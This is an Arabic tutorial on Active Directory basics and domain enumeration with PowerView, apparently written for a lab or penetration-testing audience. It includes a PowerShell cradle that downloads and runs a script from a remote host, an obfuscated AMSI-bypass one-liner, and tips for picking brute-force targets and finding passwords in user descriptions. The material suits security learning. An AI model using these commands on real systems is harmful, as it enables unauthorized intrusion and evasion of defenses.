Domain Enumeration - Power View #1
السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:
مقدمة:
في هذي المقالة راح نشرح كيفية جمع المعلومات بالنسبة للدومين
بس قبل لا نبدا بخطوة جمع المعلومات خلونا ناخذ نظره عن ايش هو ال Active Directory
نفترض لو عندنا شركة تتكون من 50 موظف وكل موظف له جهاز خاص فيه وعندنا قواعد بيانات متعددة كيف نحن راح نسوي ادارة لكل هذي المصادر الهائلة
في هذي النقطة راح نستفيد من خدمة ال Active Directory
ايش هي مكونات ال Active Directory :
1- Forest ,Domain Trees ,Domains
2- Computers Users & Groups
3- Trusts
4- Group Policy
5- Access Control List
طبعا المكونات كثيره لكن هذي اهمها او اللي لازم تتعرف عليها
طبعا بعض المكونات مو واضح فكرتها ف راح اوضحها
1- Domains,Domains Trees,Forest
طبعا في الصورة اللي مرفقه نلاحظ انه ال Forest يحتوي على Domains Tree و ال Domain Tree يحتوي على Domains
3- Trusts
في بيئة ال Active Directory الوثوقية تعني علاقة بين نطاقين او بين غابتين (Forests)
فايدة الوثوقية ان كل من النطاقين او الغابتين تسمح بالوصول الى موارد النطاق الاخر او الغابة الاخرى
الوثوقية تكون تلقائية اذا كانوا بنفس Domain Tree
انواع الوثوقية:
1- One-way Trusts
2- Tow-way Trusts
طيب ايش الفرق بين هذي الانواع؟
1- One-way Trusts
في هذا النوع يمكن النطاق الاول الوصول الى موارد النطاق الثاني بينما النطاق الثاني لايمكنه الوصول الى موارد النطاق الاول
2- Tow-way Trusts
في هذا النوع يمكن للنطاقين الوصول الى موارد الاخر
5- Access Control List
طبعا فكرة ACLs ب اختصار انها قائمة تحدد فيها الصلاحيات لكل قروب او كل مستخدم ايش يقدر يسوي
الشرح:
في هذي المقالة راح نستخدم اداة PowerView عشان نجمع معلومات عن ال Domain اللي نحن موجودين عليه بصلاحية محدودة
الفايدة من جمع المعلومات عشان نرسم خريطة واضحه توصلنا الى Domain Controller
رابط الاداة
PowerView
طبعا الاداة مكتوبة بلغة PowerShell ف ماراح اسوي تنزيل للملف حقها على جهازي لان راح يحذفها ال Windows Defender وانا ماعندي صلاحية حتى اسوي Disable لي ال Windows Defender
ف راح افتح ال PowerShell وانفذ هذا الامر فكرة الامر هذا انه يسوي Load للملف في الميموري دايركت
iex(New-Object Net.WebClient).DownloadString('http://172.16.99.7:9090/PowerView.ps1')
بس قبل انفذ هذا الامر راح يوقفنا شي اللي هو ال AMSI ايش هو ال AMSI
تقدر تقول انه Anti Virus خاص في تعقب الميموري هل يوجد في الميموري كود خبيث او لا
ف راح نتخطاه عن طريق هذا الكود
(neW-oBJeCt iO.COMpRESsiOn.DeflAteSTrEAm([io.MemoryStREAM][coNveRT]::FrOmBAsE64StRINg( 'pZJRT9swEMff/SlOVqQmIqsyOjZENQnKpAkJWEUZe4jy4CaX1ZoTW7YzGqZ9dy5uBoWHvZAH53y+/8/3tx39kO3sED7DKWesc7L9CaveeWzmL2bTm671ssHpRevRarNC+1uW6OaMmW6tZAmlEs7BjvaHMaAv/6LURWO09TH/hbZFNTvkSRHWRpXzwtMPt0RtgeBLb+Er+qXV5VlVWXQuHrObK111ClPS2KExQyXXosFk/rbdLrWoLuXaCtvHI7p9C3attYI7aX0nFNnwWPp/FpQZPaXwfUxV9yv5QKY62Xqo1TXej5oUdOd3aWVq9U1V48LQ2F/GTxkj2Lvb3iBE4dgZi/a80JXmIV2cnOxb5KLhcADcyWmlFE9YNPa0L3h1A/vcFPhZ42RgrErRhmDR1TXaAWYIk7En0KtziJ7854MzKjlKIdt+yChhsS4iQ4il8OVm6GbRe8yLAuJsuzge6o4+DWOWhTHExyE+n5GM7u49qSb5/1/s9EpYtxGKmpsE0fD4J+fa9PFuZwKm8Nzox2TCJG7jHf8AgiRhjw==' ) , [SySteM.io.comPREssioN.CoMPReSSIONMOde]::DEcompreSS)| % { neW-oBJeCt io.sTreAMreaDER( $_ ,[TexT.eNcoDInG]::asCii)}).readtOeNd() |iEX
بكذا سوينا Load للملف في الميموري بدون مشاكل
الان راح نبدا نجمع معلومات عن الدومين اسم الدومين ومنهم المستخدمين الموجودين وايش الكمبيوترات وايش القروبات الموجودة ومنهم اعضاء القروبات الخ
راح نعرف اسم الدومين و ال Domain Controller عن طريق هذا الامر
Get-NetDomain
عن طريق هذا الامر راح نعرف منهم المستخدمين الموجودين على النظام
Get-NetUser
هذا الامر لي استخراج معلومات مستخدم محدد
Get-NetUser –Username ciadmin
نلاحظ انه استخرجنا معلومات للمستخدم اللي اسمه ciadmin طيب ايش راح نستفيد؟
في اشياء راح تفيدنا مثلا logoncount نلاحظ انه قيمتها 137 هذا يعني انه هذا الشخص دخل على حسابه 137 مره هذا يعني انه ممكن حسابه مو خامل ممكن انه نسوي Brute Force عليه
او مثلا pwdlastest هذي تعلمنا متى اخر مره غير الباسورد حقه ف اذا كان من فترة طويلة ف من الممكن الباسورد حقه يكون سهل تخمينه
هذا الامر راح يبحث لنا عن كلمة معينة في الوصف الخاص بجميع المستخدمين
ف بعض المستخدمين من الممكن يحط الباسورد الخاص فيه في الوصف ويعتقد انه مافي احد يقدر يقرأءه ف ممكن نعوض بدل كلمة built ب كلمة password
Find-UserField -SearchField Description -SearchTerm "built"
هذا الامر بيعرض لنا جميع الكمبيوترات المرتبطة بالدومين
Get-NetComputer
ممكن انه نضيف اوبشن على الامر السابق بحيث يستخرج لنا معلومات اكثر عن الكمبيوترات المرتبطة بالدومين
Get-NetComputer -FullData
هذا الامر يعرض لنا القروبات الموجودة المرتبطة بالدومين
Get-NetGroup
هذا الامر يستعرض لنا اعضاء قروب محدد
Get-NetGroupMember -GroupName "Domain Admins"
نلاحظ انه المستخدم اللي اسمه svcadmin و Administrator ضمن قروب Domain Admins
هذا الامر يستخرج لنا المستخدم متواجد في اي قروب
Get-NetGroup –UserName "svcadmin"
الى هنا وصلنا الى نهاية المقالة
اتمنى انها نالت على اعجابكم
شاكر لكم.
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !